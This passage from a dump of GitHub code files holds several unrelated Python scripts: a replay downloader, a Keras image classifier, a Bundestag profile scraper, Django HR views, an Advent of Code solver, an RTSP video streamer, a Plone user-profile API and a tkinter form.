or max_inserts is 0)):\n            try:\n                ret = bd.retreive_infos(last_id)\n                if len(ret) == 0:\n                    break\n            except Exception as e:\n                print('Error while parsing infos after id={}'.format(last_id))\n                print('A total of {} infos where retreived'.format(insert_count))\n                raise\n\n            new_infos = [mapper.named_tuple_to_dict(mi) for mi in ret \n                         if ((last_date is None) \n                             or (mi.upload_date > last_date))]\n            self._db.insert_multiple(new_infos)\n            insert_count += len(new_infos)\n            last_id = ret[-1].id\n\n        self.__update_last_upload_date(new_last_date)\n        print('Inserted {} new match infos'.format(insert_count))\n\n    def clean_db(self):\n        os.remove(ballchasing_db_file)\n        os.remove(ballchasing_last_update_file)\n\n\n    def download_replays(self):\n        missing_ids = bd.filter_downloaded_ids(replay_out_folder, ballchasing_db_file)\n        for id in missing_ids:\n            bd.download_replay(id, replay_out_folder)\n\n\n    def convert_replays(self, number=10):\n        'Converts {number} random replays into its dataframe and game info'\n        to_convert_ids = bd.filter_converted_ids(replay_out_folder, \n                                                 replay_conv_folder)\n        if number > 0:\n            to_convert_ids = random.sample(to_convert_ids, k=number)\n\n        with open('converting_errors.log', 'a') as f:\n            for id in to_convert_ids:\n                try:\n                    bd.convert_replay(\n                        os.path.join(replay_out_folder, id + '.replay'),\n                        replay_conv_folder)\n                except Exception as e:\n                    print(ValueError(\n                        'Could not convert replay with id {}'.format(id), e),\n                        file=f\n                    )\n\n\nif __name__ == '__main__':\n    fire.Fire(Ballchasing)\n","repo_name":"m2march/rl","sub_path":"ballchasing.py","file_name":"ballchasing.py","file_ext":"py","file_size_in_byte":3629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19125661361","text":"from keras.models import Sequential\nimport keras\nimport sys\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.layers.core import Dense, Dropout, Activation\nfrom keras.layers import Conv2D, Flatten, MaxPooling2D, BatchNormalization\nfrom keras.utils import np_utils\nfrom math import floor\nimport pandas as pd\nimport numpy as np \n\ndef normalize(X_train_test):\n    X_train_test_normed = (X_train_test)/255\n    return X_train_test_normed\ndef _shuffle(X, Y):\n    randomize = np.arange(len(X))\n    np.random.shuffle(randomize)\n    return (X[randomize], Y[randomize])\ndef split_valid_set(X_all, Y_all, percentage):\n    all_data_size = len(X_all)\n    valid_data_size = int(floor(all_data_size * percentage))\n    \n    #X_all, Y_all = _shuffle(X_all, Y_all)\n    \n    X_valid, Y_valid = X_all[0:valid_data_size], Y_all[0:valid_data_size]\n    X_train, Y_train = X_all[valid_data_size:], Y_all[valid_data_size:]\n    \n    return X_train, Y_train, X_valid, Y_valid\ndef load_data(train_data_path):\n    samples = pd.read_csv(train_data_path, sep=',')\n    trainr = samples.values\n    pics = np.zeros((len(trainr),48,48,1))\n    feature = trainr[:,-1]\n\n    for i, pic in enumerate(feature) :\n        picp = np.array(pic.split()).astype('int')\n        picp2 = normalize(picp)\n        tmp = np.array(picp2.reshape(48,48,1))\n        pics[i]=tmp\n    label = trainr[:,0].astype('int')\n    Y_train = np_utils.to_categorical(label,7)\n    return (pics, Y_train)\n#X_all, Y_all, X_test = load_data('train.csv','test.csv')\nX_all, Y_all = load_data(sys.argv[1])\n# Split a 10%-validation set from the training set\nvalid_set_percentage = 0.1\nX_train, Y_train, X_valid, Y_valid = split_valid_set(X_all, Y_all, valid_set_percentage)\n\n\nmodel = Sequential()\n\nmodel.add(Conv2D(32, (3, 3), padding='same', input_shape=X_train.shape[1:]))\nmodel.add(Activation('relu'))\nmodel.add(Conv2D(32, (3, 3)))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Dropout(0.250))\n\nmodel.add(Conv2D(64, (3, 3), padding='same'))\nmodel.add(Activation('relu'))\n#model.add(Conv2D(64, (3, 3), padding='same'))\n#model.add(Activation('relu'))\nmodel.add(Conv2D(64, (3, 3)))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Dropout(0.250))\n\nmodel.add(Flatten())\nmodel.add(Dense(666))\nmodel.add(BatchNormalization())\nmodel.add(Activation('relu'))\nmodel.add(Dropout(0.2))\nmodel.add(Dense(689))\nmodel.add(BatchNormalization())\nmodel.add(Activation('relu'))\nmodel.add(Dropout(0.2))\nmodel.add(Dense(7))\nmodel.add(BatchNormalization())\nmodel.add(Activation('softmax'))\n\nopt = keras.optimizers.rmsprop(lr=0.0001, decay=1e-6)\nmodel.compile(loss='categorical_crossentropy',\n              optimizer='adam',\n              metrics=['accuracy'])\nprint('Using real-time data augmentation.')\n# This will do preprocessing and realtime data augmentation:\ndatagen = ImageDataGenerator(\n    featurewise_center=False,  # set input mean to 0 over the dataset\n    samplewise_center=False,  # set each sample mean to 0\n    featurewise_std_normalization=False,  # divide inputs by std of the dataset\n    samplewise_std_normalization=False,  # divide each input by its std\n    zca_whitening=False,  # apply ZCA whitening\n    rotation_range=5,  # randomly rotate images in the range (degrees, 0 to 180)\n    width_shift_range=0.1,  # randomly shift images horizontally (fraction of total width)\n    height_shift_range=0.1,  # randomly shift images vertically (fraction of total height)\n    horizontal_flip=True,  # randomly flip images\n    vertical_flip=False)  # randomly flip images\n\n    # Compute quantities required for feature-wise normalization\n    # (std, mean, and principal components if ZCA whitening is applied).\ndatagen.fit(X_train)\nepochs=1200\nbatch_size=64\nmodel.fit_generator(datagen.flow(X_train, Y_train,batch_size=batch_size),\n                    steps_per_epoch=int(np.ceil(X_train.shape[0] / float(batch_size))),\n                    epochs=epochs,\n                    validation_data=(X_valid, Y_valid),\n                    workers=4)\n\nloss_and_met = model.evaluate(X_train, Y_train, batch_size=128)\nloss_and_metrics = model.evaluate(X_valid, Y_valid, batch_size=128)\n#classes = model.predict(X_test, batch_size=128)\n#from numpy import argmax\n#output_path = 'result.csv'\n#result = np.zeros(len(classes,))\n#for i, j in enumerate(classes):\n#    result[i] = argmax(j)\n#with open(output_path, 'w') as f:\n#        f.write('id,label\\n')\n#        for i, v in  enumerate(result):\n#            f.write('%d,%d\\n' %(i, v))\n#print('\\n Train Acc:',loss_and_met[1])\n#print('\\n Test Acc:',loss_and_metrics[1])\n\nmodel.save('my_model_train.h5') \nprint(\"Saved model to disk\")","repo_name":"loichan-tw/ML2017FALL","sub_path":"hw3/hw3_train.py","file_name":"hw3_train.py","file_ext":"py","file_size_in_byte":4666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31055031293","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom time import sleep\nimport random\nfrom download_info import json_file, csv_file\n\nheaders = { \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36\"}\n\nall_json_dict = {}      # в нем будет  вся инфа !\ndef all_info_card(url):     # собирается вся инфа с карточки пользователя, return не нужен, т.к. вся инфа записывается в словарь all_json_dict\n    sleep(random.randint(1, 3))\n    req = requests.get(url, headers=headers)\n    soup = BeautifulSoup(req.text, 'lxml')\n\n    res = soup.find('div', class_=\"col-xs-8 col-md-9 bt-biografie-name\")\n\n    name = res.find('h3').text.strip()\n    post = res.find('p').text\n    images = 'https://www.bundestag.de' + soup.find('div', class_=\"bt-bild-standard pull-left\").find('img').get('data-img-xs-normal')\n    soc = soup.find('ul', class_=\"bt-linkliste\").find_all('li')\n    social_media = tuple([i.find('a').get('href') for i in soc])       # список ссылок на соц сети\n\n    all_json_dict[name] = {\n        'post': post,\n        'images': images,\n        'url_card': url,\n        'social_media': social_media\n        }\n\n\nfor i in range(0, 721, 20):\n    print(f'парсинг {i} страницы')\n    url = f'https://www.bundestag.de/ajax/filterlist/de/abgeordnete/biografien/862712-862712?limit=20&noFilterSet=true&offset={i}'\n\n    req = requests.get(url, headers=headers)\n\n    result = req.content\n\n    soup = BeautifulSoup(result, 'lxml')\n\n    res = soup.find_all('div', class_=\"col-xs-4 col-sm-3 col-md-2 bt-slide\")\n\n    for count, card in enumerate(res, 1):\n        sleep(random.randint(1, 3))\n        card_id = 'https://www.bundestag.de' + card.find('a').get('href')\n        all_info_card(card_id)      # вызов функции по собиранию инфы с карточки пользователя\n\n        print(f'Парсинг {count} пользователя завершен')\n    print(f'парсинг {i} страницы завершен')\n\n\ncsv_file(all_json_dict)\njson_file(all_json_dict)\n\n\n","repo_name":"Pravdin763/parsing_bundestag.de","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2188,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"24497602115","text":"from django.contrib.auth.decorators import login_required\nfrom . models import Personal, Management, Vacation\nfrom .filters import PersonFilter\nfrom .forms import AddEmploey, AddVacation\nfrom django.shortcuts import render, redirect,  get_object_or_404\nfrom django.urls import reverse\nfrom django.core.paginator import Paginator\nfrom django.db.models import DurationField, ExpressionWrapper, F\nfrom django.test import TestCase\nimport datetime\nfrom datetime import timedelta\nfrom django.utils import timezone\nfrom django.db.models import Avg, Max, Min, Sum\n\n@login_required\ndef all_emploeys(request):\n\tall_emploeys = Personal.objects.all()\n\n\tmyFilter = PersonFilter(request.GET, queryset = all_emploeys)\n\tall_emploeys = myFilter.qs\n\t\n\tpaginator = Paginator(all_emploeys, 4)  # Show 25 contacts per page.\n\tpageNumber = request.GET.get('page') \n\n\tpagePaginator = paginator.get_page(pageNumber)\n\n\tcontext = {'emploeys': pagePaginator, 'filter': myFilter, 'count_Emploey': all_emploeys}\n\treturn\trender(request,'Person/all_emploey.html',context)\n\n@login_required\ndef add_vacatoin(request,id):\n\t\t\t\tperson_detail = Personal.objects.get(id = id)\n\t\t\t\n\t\t\t\tif request.method == 'POST':\n\t\t\t\t\t\tformVacation = AddVacation(request.POST)\n\t\t\t\t\t\tif formVacation.is_valid():\n\t\t\t\t\t\t\t\tmyform = formVacation.save(commit=False)\n\t\t\t\t\t\t\t\tmyform.name = person_detail\n\t\t\t\t\t\t\t\tmyform.save()\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\treturn redirect(reverse('person:all_emploeys'))\n\t\t\t\t\t\t\t\t\n\t\t\t\telse:    \n\t\t\t\t\t\tformVacation = AddVacation()\n\n\t\t\t\t\n\t\t\t\tcontext = {\n\t\t\t\t\t'formVacation':formVacation,\n\t\t\t\t\t'person_detail':person_detail,\n\t\t\t\t}\n\t\t\t\treturn render(request,'Person/vacation.html',context)\n\n\n@login_required\ndef person_detail(request, id):\n    \n\tperson_detail = Personal.objects.get(id = id)\n\tcount_vcation = Vacation.objects.filter(name_id = person_detail).aggregate(Sum('vacation_num'))\n\tnum_vacation_unavailable = Vacation.objects.filter(name_id = person_detail,vacation__exact='D').aggregate(Sum('vacation_num'))\n\n\tcount_vacation = count_vcation['vacation_num__sum']\n\tvacation_unavailable = num_vacation_unavailable['vacation_num__sum']\n\n\tif not vacation_unavailable == None:\n\t\t\tperson_detail.vacations += vacation_unavailable\n\telse:\n\t\t\tvacation_unavailable = 0\n\n\tif not count_vacation == None:\n\t\t\tbetwen = person_detail.vacations - count_vacation\n\telse:\n\t\t\tbetwen = 21\n\t\t\tcount_vacation = 0\n\tnum_vacation = person_detail.vacations\n\n\tcontext = { \n\t\t'person_detail': person_detail,\n\t\t'num_vacation':num_vacation,\n\t\t'count_vacation':count_vacation,\n\t\t'betwen':betwen,\n\t\t'vacation_unavailable':vacation_unavailable,\n\t\t\n\t\t\n\t}\n\treturn render(request,'Person/emploey_details.html',context)\n\n@login_required\ndef add_person(request):\n    if request.method == 'POST':\n        personForm = AddEmploey(request.POST, request.FILES)\n        if personForm.is_valid():         \n            formPerson = personForm.save()\n            \n            return redirect(reverse('person:all_emploeys'))\n    else:\n        personForm = AddEmploey()\n    context = { 'personForm': personForm}\n    return render(request, 'Person/Post_service.html', context)\n\n\n\n","repo_name":"Hasan-saad/Hasan-HR","sub_path":"Person/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"75174495460","text":"import numpy as np\ninput_files = [\"input.txt\", \"test_input.txt\"]\n\nfile_num = 0\nwith open(input_files[file_num], 'r') as f:\n    input = f.read().strip().split(\"\\n\")\n\ndef reflections(instruction, i_dict):\n    instruction = instruction.replace(\"#\", \"1\").replace(\".\", \"0\").replace(\"/\", \"\").split(\" => \")\n    question = np.asarray([x for x in instruction[0]], dtype=str)\n    answer = np.asarray([x for x in instruction[1]], dtype=int)\n\n    for value in [question, answer]:\n        if value.size == 4:\n            value.resize((2,2))\n        elif value.size == 9:\n            value.resize((3,3))\n        elif value.size == 16:\n            value.resize((4,4))\n\n    for _ in range(4):\n        question = np.rot90(question)\n        lr_flip = np.fliplr(question)\n        ud_flip = np.flipud(question)\n        i_dict[\"\".join(question.flatten())] = answer\n        i_dict[\"\".join(lr_flip.flatten())] = answer\n        i_dict[\"\".join(ud_flip.flatten())] = answer\n\n    return i_dict\n\n\nstart = \".#./..#/###\"\nstart = start.replace(\"#\", \"1\").replace(\".\", \"0\").replace(\"/\", \"\")\nstart = np.asarray([x for x in start], dtype=int).reshape((3,3))\n\ndef solve(iterations):\n    board = np.copy(start)\n\n    instructions = {}\n    for line in input:\n        instructions = reflections(line, instructions)\n\n    for _ in range(iterations):\n        to_stack = []\n        if board.shape[0] % 2 == 0:\n            for i in range(board.shape[0]//2):\n                temp_stack = []\n                for j in range(board.shape[1]//2):\n                    key = \"\".join([str(x) for x in board[i*2:i*2+2, j*2:j*2+2].flatten()])\n                    temp_stack.append(instructions[key])\n                to_stack.append(temp_stack)\n\n        else:\n            for i in range(board.shape[0]//3):\n                temp_stack = []\n                for j in range(board.shape[1]//3):\n                    key = \"\".join([str(x) for x in board[i*3:i*3+3, j*3:j*3+3].flatten()])\n                    temp_stack.append(instructions[key])\n                to_stack.append(temp_stack)\n\n        rows = []\n        for col in to_stack:\n            rows.append(np.hstack(tuple(col)))\n\n        board = np.vstack(tuple(rows))\n\n    print(np.count_nonzero(board == 1))\n\nsolve(5)\nsolve(18)","repo_name":"Firestarss/AdventOfCode","sub_path":"Years/2017/Day21/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"39491516893","text":"#!/usr/bin/env python3\n\nimport cv2\nimport gi\nimport threading\n\ngi.require_version('Gst', '1.0')\ngi.require_version('GstRtspServer', '1.0')\nfrom gi.repository import Gst, GstRtspServer, GObject, GLib\n\n\nclass SensorFactory(GstRtspServer.RTSPMediaFactory):\n    def __init__(self, filesource, frame_size, _callback=None):\n        super(SensorFactory, self).__init__()\n        self.stop_server_callback = _callback\n\n        self.cap = cv2.VideoCapture(filesource, 0)  # 2560 × 1920\n\n        self.number_frames = 0\n\n        self.frame_size = frame_size  # frame_size\n\n\n        self.fps = 10\n        self.duration = 1 / self.fps * Gst.SECOND  # duration of a frame in nanoseconds\n\n        self.launch_string = 'appsrc name=source is-live=false block=true format=GST_FORMAT_TIME ' \\\n                             'caps=video/x-raw,format=BGR,width={0},height={1},framerate={2}/1 ' \\\n                             '! videoconvert ! video/x-raw,format=I420 ' \\\n                             '! x264enc speed-preset=ultrafast tune=zerolatency ' \\\n                             '! rtph264pay config-interval=1 name=pay0 pt=96'.format(self.frame_size[0],\n                                                                                     self.frame_size[1], self.fps)\n        self.last_frame = None\n        print(\"Control parameters:\")\n        self.send_once_stop = bool(1)\n        # print(\"self.frame_size\" + self.frame_size.__str__())\n\n    def on_need_data(self, src, lenght):\n        self.send_once_stop = bool(1)\n        if self.cap.isOpened():\n            ret, frame = self.cap.read()\n            if ret:\n                frame = cv2.resize(frame, self.frame_size)\n                data = frame.tostring()\n                buf = Gst.Buffer.new_allocate(None, len(data), None)\n                buf.fill(0, data)\n                buf.duration = self.duration\n                timestamp = self.number_frames * self.duration\n                buf.pts = buf.dts = int(timestamp)\n                buf.offset = timestamp\n                self.number_frames += 1\n                retval = src.emit('push-buffer', buf)\n                # print('pushed buffer, frame {}, duration {} ns, durations {} s'.format(self.number_frames,\n                #                                                                        self.duration,\n                #                                                                        self.duration / Gst.SECOND))\n\n                if retval != Gst.FlowReturn.OK:\n                    print(retval)\n            else:\n                print(\"!!! Errors while loading the current frame: Test pause\")\n                print(\"ret: \" + str(ret))\n                print(\"Frame is empty!\")\n\n            if frame is None:\n                print(\"Frame is Empty - stream ended.\")\n                if self.send_once_stop:\n                    self.stop_server_callback()\n                    # block repeated stop signal\n                    self.send_once_stop = bool(0)\n\n        else:\n            # if self.stop_server_callback:\n            # self.send_shutdown_to_tester()\n            print(\"Send callback to TESTER! Test ended!\")\n\n    def do_create_element(self, url):\n        return Gst.parse_launch(self.launch_string)\n\n    def do_configure(self, rtsp_media):\n        self.number_frames = 0\n        appsrc = rtsp_media.get_element().get_child_by_name('source')\n        appsrc.connect('need-data', self.on_need_data)\n\n\nclass GstServer(GstRtspServer.RTSPServer):\n    def __init__(self, camera_streams, callback):\n        super(GstServer, self).__init__()\n        GObject.threads_init()\n        Gst.init(None)\n        self.set_service(\"8554\")  # set port for rtsp translation\n        self.factories = []\n\n        # add multipoint for each factory\n        for stream in camera_streams:\n            stream_factory = SensorFactory(stream.filesource, stream.frame_size, callback)\n            stream_factory.set_shared(True)\n            self.get_mount_points().add_factory(\"/{}\".format(stream.mountpoint), stream_factory)\n            print(\"Mount point for factory: \" + \"/{}\".format(stream.mountpoint))\n            self.factories.append(stream_factory)\n\n        self.attach(None)\n        self.loop = None\n\n        self.server_thread = threading.Thread(name='test-video-stream', target=self.server_thread)\n\n    def start(self):\n        self.server_thread.start()\n\n    def stop(self):\n        print(\"Stop server....\")\n        self.loop.quit()\n\n    def server_thread(self, do_loop=False):\n        print(\"RTSP Server thread started...\")\n        self.loop = GObject.MainLoop()\n        self.loop.run()\n        print(\"RTSP Server thread ended.\")\n","repo_name":"AlexTitovWork/videoRestorator","sub_path":"streamer_of_badframes/stream.py","file_name":"stream.py","file_ext":"py","file_size_in_byte":4624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"16487158310","text":"# -*- coding: utf-8 -*-\nfrom dexterity.membrane.behavior.password import IProvidePasswordsSchema\nfrom itertools import imap\nfrom plone import api as plone_api\nfrom plone.api.exc import InvalidParameterError\nfrom ploneintranet.network.graph import decode\nfrom ploneintranet.network.interfaces import INetworkTool\nfrom ploneintranet.userprofile.content.userprofile import IUserProfile\nfrom ploneintranet.userprofile.interfaces import IMemberGroup\nfrom Products.CMFPlone.utils import safe_unicode\nfrom z3c.form.interfaces import IValidator\nfrom zope.component import getMultiAdapter\nfrom zope.component import queryUtility\n\nimport random\nimport string\n\n\ndef get_users(\n    context=None,\n    full_objects=True,\n    **kwargs\n):\n    \"\"\"\n    List users from catalog, avoiding expensive LDAP lookups.\n\n    :param context: Any content object that will be used to find the\n        UserResolver context\n    :type context: Content object\n    :param full_objects: A switch to indicate if full objects or brains should\n        be returned\n    :type full_objects: boolean\n    :returns: user brains or user objects\n    :rtype: iterator\n    \"\"\"\n    try:\n        mtool = plone_api.portal.get_tool('membrane_tool')\n    except InvalidParameterError:\n        return []\n    if context:\n        acl_users = plone_api.portal.get_tool('acl_users')\n        try:\n            # adapters provided by pi.userprofile and pi.workspace\n            members = set([x for x in IMemberGroup(context).members])\n            # In case of groups, resolve the group members\n            for id in list(members):\n                group = acl_users.getGroupById(id)\n                if group:\n                    members.remove(id)\n                    # these are not membrane profiles but acl members\n                    members = members.union(set(\n                        [user.getId() for user in group.getGroupMembers()]))\n            # both context and query: calculate intersection\n            if 'exact_getUserId' in kwargs:\n                _combi = list(\n                    members.intersection(\n                        set(kwargs['exact_getUserId'])))\n                kwargs['exact_getUserId'] = _combi\n            else:\n                kwargs['exact_getUserId'] = list(members)\n        except TypeError:\n            # could not adapt to IMemberGroup\n            pass\n    portal_type = 'ploneintranet.userprofile.userprofile',\n    search_results = mtool.searchResults(portal_type=portal_type,\n                                         **kwargs)\n    if full_objects:\n        return (x.getObject() for x in search_results)\n    else:\n        return search_results\n\n\ndef get_userids():\n    '''\n    For the moment it just returns all the ids of the userprofiles\n    we have in the site.\n\n    :returns: the userprofile ids\n    :rtype: iterator\n    '''\n    portal = plone_api.portal.get()\n    profiles = portal.get('profiles', {})\n    return profiles.keys()\n\n\ndef get_user_suggestions(\n    context=None,\n    full_objects=True,\n    min_matches=5,\n    **kwargs\n):\n    \"\"\"\n    This is a wrapper around get_users with the intent of providing\n    staggered suggestion of users for a user picker:\n    1. Users from the current context (workspace)\n       If not enough users, add:\n    2. Users followed by the current logged-in user\n       If not enough combined users from 1+2, fallback to:\n    3. All users in the portal.\n\n    List users from catalog, avoiding expensive LDAP lookups.\n\n    :param context: Any content object that will be used to find the\n        UserResolver context\n    :type context: Content object\n    :param full_objects: A switch to indicate if full objects or brains should\n        be returned\n    :type full_objects: boolean\n    :param min_matches: Keeps expanding search until this treshold is reached\n    :type min_matches: int\n    :returns: user brains or user objects\n    :rtype: iterator\n    \"\"\"\n    def expand(search_results, full_objects, **kwargs):\n        \"\"\"Helper function to delay full object expansion\"\"\"\n        # Filter results by chosen review state\n        if 'review_state' in kwargs:\n            search_results = filter(\n                lambda x: getattr(x, 'review_state', '') == kwargs['review_state'],  # noqa\n                search_results)\n        if full_objects:\n            return (x.getObject() for x in search_results)\n        else:\n            return search_results\n\n    # By default, only return users that are enabled\n    if 'review_state' not in kwargs:\n        kwargs['review_state'] = 'enabled'\n    # stage 1 context users\n    if context:\n        context_users = [x for x in get_users(context, False, **kwargs)]\n        if len(context_users) >= min_matches:\n            return expand(context_users, full_objects, **kwargs)\n    # prepare stage 2 and 3\n    all_users = [x for x in get_users(None, False, **kwargs)]\n    # skip stage 2 if not enough users\n    if len(all_users) < min_matches:\n        return expand(all_users, full_objects, **kwargs)\n    # prepare stage 2 filter - unicode!\n    graph = queryUtility(INetworkTool)\n    following_ids = [x for x in graph.get_following(\n        'user', plone_api.user.get_current().id)]\n    following_users = [x for x in all_users\n                       if decode(x.getUserId) in following_ids]\n    # apply stage 2 filter\n    if context:\n        filtered_users = set(context_users).union(set(following_users))\n    else:\n        filtered_users = following_users\n    if len(filtered_users) >= min_matches:\n        return expand(filtered_users, full_objects, **kwargs)\n    # fallback to stage 3 all users\n    return expand(all_users, full_objects, **kwargs)\n\n\ndef get_users_from_userids_and_groupids(ids=None):\n    \"\"\"\n    Given a list of userids and groupids return the set of users\n\n    FIXME this has to be folded into get_users\n    \"\"\"\n    acl_users = plone_api.portal.get_tool('acl_users')\n    userids = set([])\n    portal = plone_api.portal.get()\n    groups_container = portal.get('groups', {})\n\n    # BBB userprofile and workprofile should be in the same module\n    # to avoid circular imports\n    if groups_container:\n        mapping = {\n            group.getGroupId(): key\n            for key, group in groups_container.objectItems()\n        }\n    else:\n        mapping = {}\n    for principalid in ids:\n        if principalid in mapping:\n            group = groups_container[mapping[principalid]]\n        else:\n            group = acl_users.getGroupById(principalid)\n\n        if group:\n            userids.update(group.getGroupMembers())\n        else:\n            userids.add(principalid)\n    return [user for user in imap(get, userids) if user]\n\n\ndef get(userid):\n    \"\"\"Get a Plone Intranet user profile by userid.\n    userid == username, but username != getUsername(), see #1043.\n\n    :param userid: Usernid of the user profile to be found\n    :type userid: string\n    :returns: User profile matching the given userid\n    :rtype: `ploneintranet.userprofile.content.userprofile.UserProfile` object\n    \"\"\"\n    # try first of all to get the user from the profiles folder\n    portal = plone_api.portal.get()\n    user = portal.unrestrictedTraverse(\n        'profiles/{}'.format(userid),\n        None\n    )\n    if user is not None:\n        return user\n\n    # If we can't find the user there let's ask the membrane catalog\n    # and return the first result\n    for profile in get_users(exact_getUserId=userid):\n        return profile\n    # If we cannot find any match we will give up and return None\n    return None\n\n\ndef get_current():\n    \"\"\"Get the Plone Intranet user profile\n    for the current logged-in user\n\n    :returns: User profile matching the current logged-in user\n    :rtype: `ploneintranet.userprofile.content.userprofile.UserProfile` object\n    \"\"\"\n    if plone_api.user.is_anonymous():\n        return None\n\n    current_member = plone_api.user.get_current()\n    # non-membrane users (e.g. admin) have getUserName() but not getUserId()\n    userid = current_member.getId()\n    return get(userid)\n\n\ndef create(\n    username,\n    email=None,\n    password=None,\n    approve=False,\n    properties=None\n):\n    \"\"\"Create a Plone Intranet user profile.\n\n    :param username: [required] The userid for the new user. WTF? see #1043.\n    :type username: string\n    :param email: [required] Email for the new user.\n    :type email: string\n    :param password: Password for the new user. If it's not set we generate\n        a random 12-char alpha-numeric one.\n    :type password: string\n    :param approve: If True, the user profile will be automatically approved\n        and be able to log in.\n    :type approve: boolean\n    :param properties: User properties to assign to the new user.\n    :type properties: dict\n    :returns: Newly created user\n    :rtype: `ploneintranet.userprofile.content.userprofile.UserProfile` object\n    \"\"\"\n    portal = plone_api.portal.get()\n\n    # We have to manually validate the username\n    validator = getMultiAdapter(\n        (portal, None, None, IUserProfile['username'], None),\n        IValidator)\n    validator.validate(safe_unicode(username))\n\n    # Generate a random password\n    if not password:\n        chars = string.ascii_letters + string.digits\n        password = ''.join(random.choice(chars) for x in range(12))\n\n    profile_container = portal.contentValues(\n        {'portal_type': \"ploneintranet.userprofile.userprofilecontainer\"}\n    )[0]\n\n    if properties is None:\n        # Avoids using dict as default for a keyword argument.\n        properties = {}\n\n    if 'fullname' in properties:\n        # Translate from plone-style 'fullname'\n        # to first and last names\n        fullname = properties.pop('fullname')\n        if ' ' in fullname:\n            firstname, lastname = fullname.split(' ', 1)\n        else:\n            firstname = ''\n            lastname = fullname\n        properties['first_name'] = firstname\n        properties['last_name'] = lastname\n\n    profile = plone_api.content.create(\n        container=profile_container,\n        type='ploneintranet.userprofile.userprofile',\n        id=username,\n        username=username,\n        email=email,\n        **properties)\n\n    # We need to manually set the password via the behaviour\n    IProvidePasswordsSchema(profile).password = password\n\n    if approve:\n        plone_api.content.transition(profile, 'approve')\n        profile.reindexObject()\n\n    return profile\n\n\ndef avatar_url(username=None):\n    \"\"\"Get the avatar image url for a user profile\n\n    :param username: Username for which to get the avatar url\n    :type username: string\n    :returns: absolute url for the avatar image\n    :rtype: string\n    \"\"\"\n    portal = plone_api.portal.get()\n    return '{0}/@@avatars/{1}'.format(\n        portal.absolute_url(),\n        username,\n    )\n\n\ndef avatar_tag(username=None, link_to=None):\n    \"\"\"Get the tag that renders the user avatar wrapped in a link\n\n    :param username: Username for which to get the avatar url\n    :type username: string\n    :returns: HTML for the avatar tag\n    :rtype: string\n    \"\"\"\n    profile = get(username)\n    if not profile:\n        return ''\n\n    target_url = ''\n    profile_url = profile.absolute_url()\n    link_class = ['pat-avatar', 'avatar']\n    outer_tag = 'a'\n    if link_to == 'image':\n        if profile.portrait:\n            target_url = profile_url + '/@@avatar_profile.jpg'\n            link_class.extend(['pat-gallery', 'user-info-avatar'])\n        else:\n            target_url = ''\n            link_class.append('user-info-avatar')\n    elif link_to == 'profile':\n        target_url = profile_url\n    elif link_to is None:\n        outer_tag = 'span'\n\n    img_class = []\n    if not profile.portrait:\n        img_class.append('default-user')\n    if target_url:\n        target_url = 'href=\"' + target_url + '\"'\n\n    avatar_data = {\n        'outer_tag': outer_tag,\n        'fullname': profile.fullname,\n        'profile_url': profile_url,\n        'target_url': target_url,\n        'initials': profile.initials,\n        'title': profile.fullname or profile.getId() or username,\n        'link_class': ' '.join(link_class),\n        'img_class': ' '.join(img_class),\n    }\n\n    tag = u\"\"\"    <{outer_tag} {target_url}\n        class=\"{link_class}\"\n        data-initials=\"{initials}\"\n        title=\"{title}\"\n        >\n        <img src=\"{profile_url}/@@avatar_profile.jpg\"\n            alt=\"Image of {fullname}\"\n            class=\"{img_class}\"\n            i18n:attributes=\"alt\">\n    </{outer_tag}>\"\"\".format(**avatar_data)\n    return tag\n","repo_name":"ploneintranet/ploneintranet","sub_path":"src/ploneintranet/api/userprofile.py","file_name":"userprofile.py","file_ext":"py","file_size_in_byte":12444,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"19"}
{"seq_id":"3619034900","text":"import tkinter\nfrom tkinter import ttk\nfrom tkinter import messagebox\n\nwindow = tkinter.Tk()\nwindow.title(\"Fair Play\")\n\nframe = tkinter.Frame(window)\nframe.pack()\n\nuser_info_frame = tkinter.LabelFrame(frame, text=\"User Info\")\nuser_info_frame.grid(row=0, column=0)\n\nfirst_name_label = tkinter.Label(user_info_frame, text=\"First Name: \")\nfirst_name_label.grid(row=0, column=0)\nlast_name_label = tkinter.Label(user_info_frame, text=\"Last Name: \")\nlast_name_label.grid(row=1, column=0)\n\nfirst_name_entry = tkinter.Entry(user_info_frame)\nfirst_name_entry.grid(row=0, column=1)\nlast_name_entry = tkinter.Entry(user_info_frame)\nlast_name_entry.grid(row=1, column=1)\n\nbutton = tkinter.Button(frame, text=\"Enter data\")\nbutton.grid(row=3, column=0, sticky=\"news\", padx=20, pady=10)\n\nwindow.mainloop()","repo_name":"Neoar2000/neo-scripts-cs","sub_path":"PY_SCRIPTS_NEO/PERSONAL_SCRIPTS/TKINTER.py","file_name":"TKINTER.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
